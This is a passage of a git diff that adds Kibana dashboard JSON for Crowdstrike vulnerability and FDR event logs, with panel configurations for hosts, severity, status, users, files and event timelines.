+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "8d57da88-d081-47a0-b896-eb94553bd55b": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Hosts",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "accuracyMode": false,
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 10
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.name"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "alignment": "right",
+                                        "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9",
+                                        "isMetric": true,
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b",
+                                        "isMetric": false,
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "headerRowHeight": "custom",
+                                "headerRowHeightLines": 3,
+                                "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a",
+                                "layerType": "data",
+                                "paging": {
+                                    "enabled": false,
+                                    "size": 10
+                                },
+                                "rowHeight": "single",
+                                "rowHeightLines": 1
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "e23b231a-c029-433f-b6aa-0bc83960b159",
+                    "w": 18,
+                    "x": 30,
+                    "y": 15
+                },
+                "panelIndex": "e23b231a-c029-433f-b6aa-0bc83960b159",
+                "title": "Top 10 Host [Logs Crowdstrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "f8493eb0-bbd5-47d9-9219-a326a5a73495": {
+                                            "columnOrder": [
+                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b",
+                                                "b106a076-fc73-4cf0-b678-211f5e67be21"
+                                            ],
+                                            "columns": {
+                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Severity",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "vulnerability.severity"
+                                                },
+                                                "b106a076-fc73-4cf0-b678-211f5e67be21": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "colorMapping": {
+                                            "assignments": [],
+                                            "colorMode": {
+                                                "type": "categorical"
+                                            },
+                                            "paletteId": "eui_amsterdam_color_blind",
+                                            "specialAssignments": [
+                                                {
+                                                    "color": {
+                                                        "type": "loop"
+                                                    },
+                                                    "rule": {
+                                                        "type": "other"
+                                                    },
+                                                    "touched": false
+                                                }
+                                            ]
+                                        },
+                                        "emptySizeRatio": 0,
+                                        "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "b106a076-fc73-4cf0-b678-211f5e67be21"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "4710b8dd-a68b-4d69-9348-5a5f58444e7b"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "36af41e0-213c-4145-acac-25b167b317ea",
+                    "w": 16,
+                    "x": 0,
+                    "y": 31
+                },
+                "panelIndex": "36af41e0-213c-4145-acac-25b167b317ea",
+                "title": "Vulnerability by Severity [Logs Crowdstrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "f8493eb0-bbd5-47d9-9219-a326a5a73495": {
+                                            "columnOrder": [
+                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b",
+                                                "b106a076-fc73-4cf0-b678-211f5e67be21"
+                                            ],
+                                            "columns": {
+                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Status",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "crowdstrike.vulnerability.status"
+                                                },
+                                                "b106a076-fc73-4cf0-b678-211f5e67be21": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "colorMapping": {
+                                            "assignments": [],
+                                            "colorMode": {
+                                                "type": "categorical"
+                                            },
+                                            "paletteId": "eui_amsterdam_color_blind",
+                                            "specialAssignments": [
+                                                {
+                                                    "color": {
+                                                        "type": "loop"
+                                                    },
+                                                    "rule": {
+                                                        "type": "other"
+                                                    },
+                                                    "touched": false
+                                                }
+                                            ]
+                                        },
+                                        "emptySizeRatio": 0,
+                                        "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "b106a076-fc73-4cf0-b678-211f5e67be21"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "4710b8dd-a68b-4d69-9348-5a5f58444e7b"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "f94636e8-135f-4861-97bd-63326fd5028a",
+                    "w": 16,
+                    "x": 16,
+                    "y": 31
+                },
+                "panelIndex": "f94636e8-135f-4861-97bd-63326fd5028a",
+                "title": "Vulnerability by Status [Logs Crowdstrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "currentIndexPatternId": "logs-*",
+                                    "layers": {
+                                        "f8493eb0-bbd5-47d9-9219-a326a5a73495": {
+                                            "columnOrder": [
+                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b",
+                                                "b106a076-fc73-4cf0-b678-211f5e67be21"
+                                            ],
+                                            "columns": {
+                                                "4710b8dd-a68b-4d69-9348-5a5f58444e7b": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Confidence",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "secondaryFields": [],
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "crowdstrike.vulnerability.confidence"
+                                                },
+                                                "b106a076-fc73-4cf0-b678-211f5e67be21": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false,
+                                                        "format": {
+                                                            "id": "number",
+                                                            "params": {
+                                                                "decimals": 0
+                                                            }
+                                                        }
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "indexPatternId": "logs-*",
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "categoryDisplay": "default",
+                                        "colorMapping": {
+                                            "assignments": [],
+                                            "colorMode": {
+                                                "type": "categorical"
+                                            },
+                                            "paletteId": "eui_amsterdam_color_blind",
+                                            "specialAssignments": [
+                                                {
+                                                    "color": {
+                                                        "type": "loop"
+                                                    },
+                                                    "rule": {
+                                                        "type": "other"
+                                                    },
+                                                    "touched": false
+                                                }
+                                            ]
+                                        },
+                                        "emptySizeRatio": 0,
+                                        "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495",
+                                        "layerType": "data",
+                                        "legendDisplay": "show",
+                                        "metrics": [
+                                            "b106a076-fc73-4cf0-b678-211f5e67be21"
+                                        ],
+                                        "nestedLegend": false,
+                                        "numberDisplay": "percent",
+                                        "primaryGroups": [
+                                            "4710b8dd-a68b-4d69-9348-5a5f58444e7b"
+                                        ],
+                                        "truncateLegend": false
+                                    }
+                                ],
+                                "shape": "donut"
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsPie"
+                    },
+                    "enhancements": {}
+                },
+                "gridData": {
+                    "h": 16,
+                    "i": "07b2c938-6511-4d9a-b5d4-beccfea7055d",
+                    "w": 16,
+                    "x": 32,
+                    "y": 31
+                },
+                "panelIndex": "07b2c938-6511-4d9a-b5d4-beccfea7055d",
+                "title": "Vulnerability by Confidence [Logs Crowdstrike]",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "description": "",
+                    "enhancements": {},
+                    "grid": {
+                        "columns": {
+                            "crowdstrike.vulnerability.cve.exploitability_score": {
+                                "width": 205
+                            },
+                            "crowdstrike.vulnerability.cve.exprt_rating": {
+                                "width": 181
+                            },
+                            "crowdstrike.vulnerability.cve.impact_score": {
+                                "width": 184
+                            },
+                            "crowdstrike.vulnerability.suppression_info.is_suppressed": {
+                                "width": 182
+                            },
+                            "vulnerability.id": {
+                                "width": 142
+                            }
+                        }
+                    }
+                },
+                "gridData": {
+                    "h": 22,
+                    "i": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
+                    "w": 48,
+                    "x": 0,
+                    "y": 47
+                },
+                "panelIndex": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
+                "panelRefName": "panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
+                "title": "Vulnerability Essential Details [Logs Crowdstrike]",
+                "type": "search"
+            }
+        ],
+        "timeRestore": false,
+        "title": "[Logs Crowdstrike] Vulnerability",
+        "version": 2
+    },
+    "coreMigrationVersion": "8.8.0",
+    "created_at": "2025-03-08T11:24:58.039Z",
+    "id": "crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5",
+    "managed": false,
+    "references": [
+        {
+            "id": "logs-*",
+            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e:indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "da53bcd1-6533-49f4-b01a-f6f73ce41379:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "e23b231a-c029-433f-b6aa-0bc83960b159:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "36af41e0-213c-4145-acac-25b167b317ea:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "f94636e8-135f-4861-97bd-63326fd5028a:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "07b2c938-6511-4d9a-b5d4-beccfea7055d:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495",
+            "type": "index-pattern"
+        },
+        {
+            "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c",
+            "name": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9:panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9",
+            "type": "search"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_f4535e1b-f830-47b7-8bfc-72df5cca8d15:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_609aecfe-f39b-41ee-b60a-d5bb0fab67b0:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_5cc4f532-9959-46b8-ba73-8bd54c27891b:optionsListDataView",
+            "type": "index-pattern"
+        },
+        {
+            "id": "logs-*",
+            "name": "controlGroup_47c1726b-56fd-48c9-9378-07a165ac42b9:optionsListDataView",
+            "type": "index-pattern"
+        }
+    ],
+    "type": "dashboard",
+    "typeMigrationVersion": "10.2.0",
+    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json
new file mode 100644
index 0000000000..c333d53ec8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json
@@ -0,0 +1,1062 @@
+{
+    "attributes": {
+        "controlGroupInput": {
+            "chainingSystem": "HIERARCHICAL",
+            "controlStyle": "oneLine",
+            "ignoreParentSettingsJSON": {
+                "ignoreFilters": false,
+                "ignoreQuery": false,
+                "ignoreTimerange": false,
+                "ignoreValidations": false
+            },
+            "panelsJSON": {},
+            "showApplySelections": false
+        },
+        "description": "Summarised overview for Crowdstrike FDR events.",
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [
+                    {
+                        "$state": {
+                            "store": "appState"
+                        },
+                        "meta": {
+                            "alias": null,
+                            "disabled": false,
+                            "field": "data_stream.dataset",
+                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
+                            "key": "data_stream.dataset",
+                            "negate": false,
+                            "params": {
+                                "query": "crowdstrike.fdr"
+                            },
+                            "type": "phrase"
+                        },
+                        "query": {
+                            "match_phrase": {
+                                "data_stream.dataset": "crowdstrike.fdr"
+                            }
+                        }
+                    }
+                ],
+                "query": {
+                    "language": "kuery",
+                    "query": ""
+                }
+            }
+        },
+        "optionsJSON": {
+            "hidePanelTitles": false,
+            "syncColors": false,
+            "syncCursor": true,
+            "syncTooltips": false,
+            "useMargins": true
+        },
+        "panelsJSON": [
+            {
+                "embeddableConfig": {
+                    "enhancements": {
+                        "dynamicActions": {
+                            "events": []
+                        }
+                    },
+                    "hidePanelTitles": false,
+                    "savedVis": {
+                        "data": {
+                            "aggs": [],
+                            "searchSource": {
+                                "filter": [],
+                                "query": {
+                                    "language": "kuery",
+                                    "query": ""
+                                }
+                            }
+                        },
+                        "description": "",
+                        "id": "",
+                        "params": {
+                            "fontSize": 12,
+                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n**FDR**  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics specific to Alerts and their different alert types that is received from Crowdstrike FDR.\n\n",
+                            "openLinksInNewTab": false
+                        },
+                        "title": "",
+                        "type": "markdown",
+                        "uiState": {}
+                    }
+                },
+                "gridData": {
+                    "h": 57,
+                    "i": "4d55749a-c4b7-42ad-8e6f-5363c97aae61",
+                    "w": 7,
+                    "x": 0,
+                    "y": 0
+                },
+                "panelIndex": "4d55749a-c4b7-42ad-8e6f-5363c97aae61",
+                "title": "Table of Contents",
+                "type": "visualization"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-current-indexpattern",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "880420b9-97fb-4f5a-8dd2-36f95cb02182": {
+                                            "columnOrder": [
+                                                "45f3413c-e658-43ec-bf3a-ad25977fb32c",
+                                                "c90d7c88-034f-42f4-94d2-605ae294940e"
+                                            ],
+                                            "columns": {
+                                                "45f3413c-e658-43ec-bf3a-ad25977fb32c": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "user.name",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "user.name"
+                                                },
+                                                "c90d7c88-034f-42f4-94d2-605ae294940e": {
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count of records",
+                                                    "operationType": "count",
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {}
+                                        }
+                                    }
+                                }
+                            },
+                            "filters": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "45f3413c-e658-43ec-bf3a-ad25977fb32c",
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "c90d7c88-034f-42f4-94d2-605ae294940e",
+                                        "hidden": false,
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "layerId": "880420b9-97fb-4f5a-8dd2-36f95cb02182",
+                                "layerType": "data",
+                                "rowHeight": "single",
+                                "rowHeightLines": 1
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 14,
+                    "i": "e48dfc31-ef5f-4696-904c-c5320e8dcac9",
+                    "w": 21,
+                    "x": 7,
+                    "y": 0
+                },
+                "panelIndex": "e48dfc31-ef5f-4696-904c-c5320e8dcac9",
+                "title": "Top Users",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "c8088761-74a6-433a-a405-f26c709cebe3": {
+                                            "columnOrder": [
+                                                "97e2d50d-d871-4922-b0f8-2d50b2ace84a",
+                                                "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3"
+                                            ],
+                                            "columns": {
+                                                "97e2d50d-d871-4922-b0f8-2d50b2ace84a": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "file.name",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": false,
+                                                        "size": 15
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "file.name"
+                                                },
+                                                "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3": {
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count of records",
+                                                    "operationType": "count",
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                }
+                                            },
+                                            "incompleteColumns": {}
+                                        }
+                                    }
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "columns": [
+                                    {
+                                        "columnId": "97e2d50d-d871-4922-b0f8-2d50b2ace84a",
+                                        "isTransposed": false
+                                    },
+                                    {
+                                        "columnId": "bbbbf917-0caa-41ee-89dc-18ea0f8bcfe3",
+                                        "isTransposed": false
+                                    }
+                                ],
+                                "layerId": "c8088761-74a6-433a-a405-f26c709cebe3",
+                                "layerType": "data",
+                                "rowHeight": "single",
+                                "rowHeightLines": 1
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsDatatable"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 14,
+                    "i": "355965cd-eb00-4357-bdd8-1640627d1191",
+                    "w": 20,
+                    "x": 28,
+                    "y": 0
+                },
+                "panelIndex": "355965cd-eb00-4357-bdd8-1640627d1191",
+                "title": "Top Related Files",
+                "type": "lens"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "911bafb0-aeb7-4830-8a40-6166c96fb123": {
+                                            "columnOrder": [
+                                                "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b",
+                                                "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9",
+                                                "2c75b3a9-1b14-42d5-a8d0-44e461d4afab"
+                                            ],
+                                            "columns": {
+                                                "2c75b3a9-1b14-42d5-a8d0-44e461d4afab": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Events",
+                                                    "operationType": "count",
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9": {
+                                                    "dataType": "date",
+                                                    "isBucketed": true,
+                                                    "label": "@timestamp",
+                                                    "operationType": "date_histogram",
+                                                    "params": {
+                                                        "includeEmptyRows": true,
+                                                        "interval": "auto"
+                                                    },
+                                                    "scale": "interval",
+                                                    "sourceField": "@timestamp"
+                                                },
+                                                "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Event Kind",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "2c75b3a9-1b14-42d5-a8d0-44e461d4afab",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 3
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "event.kind"
+                                                }
+                                            },
+                                            "incompleteColumns": {}
+                                        }
+                                    }
+                                }
+                            },
+                            "filters": [],
+                            "internalReferences": [],
+                            "query": {
+                                "language": "kuery",
+                                "query": ""
+                            },
+                            "visualization": {
+                                "layers": [
+                                    {
+                                        "accessors": [
+                                            "2c75b3a9-1b14-42d5-a8d0-44e461d4afab"
+                                        ],
+                                        "layerId": "911bafb0-aeb7-4830-8a40-6166c96fb123",
+                                        "layerType": "data",
+                                        "position": "top",
+                                        "seriesType": "line",
+                                        "showGridlines": false,
+                                        "splitAccessor": "c2e68d70-fa53-4f1c-a4d5-4c0f23d8e89b",
+                                        "xAccessor": "3c0eeb61-8b82-44b3-aba7-66c5b08fe8a9"
+                                    }
+                                ],
+                                "legend": {
+                                    "isVisible": true,
+                                    "legendSize": "auto",
+                                    "position": "right"
+                                },
+                                "preferredSeriesType": "line",
+                                "title": "Empty XY chart",
+                                "valueLabels": "hide",
+                                "yLeftExtent": {
+                                    "mode": "full"
+                                },
+                                "yRightExtent": {
+                                    "mode": "full"
+                                }
+                            }
+                        },
+                        "title": "",
+                        "type": "lens",
+                        "visualizationType": "lnsXY"
+                    },
+                    "enhancements": {},
+                    "hidePanelTitles": false
+                },
+                "gridData": {
+                    "h": 19,
+                    "i": "0325f703-a3cc-4a43-b621-974baae08c00",
+                    "w": 20,
+                    "x": 7,
+                    "y": 14
+                },
+                "panelIndex": "0325f703-a3cc-4a43-b621-974baae08c00",
+                "title": "Events over time, By Event Kind",
+                "type": "lens"
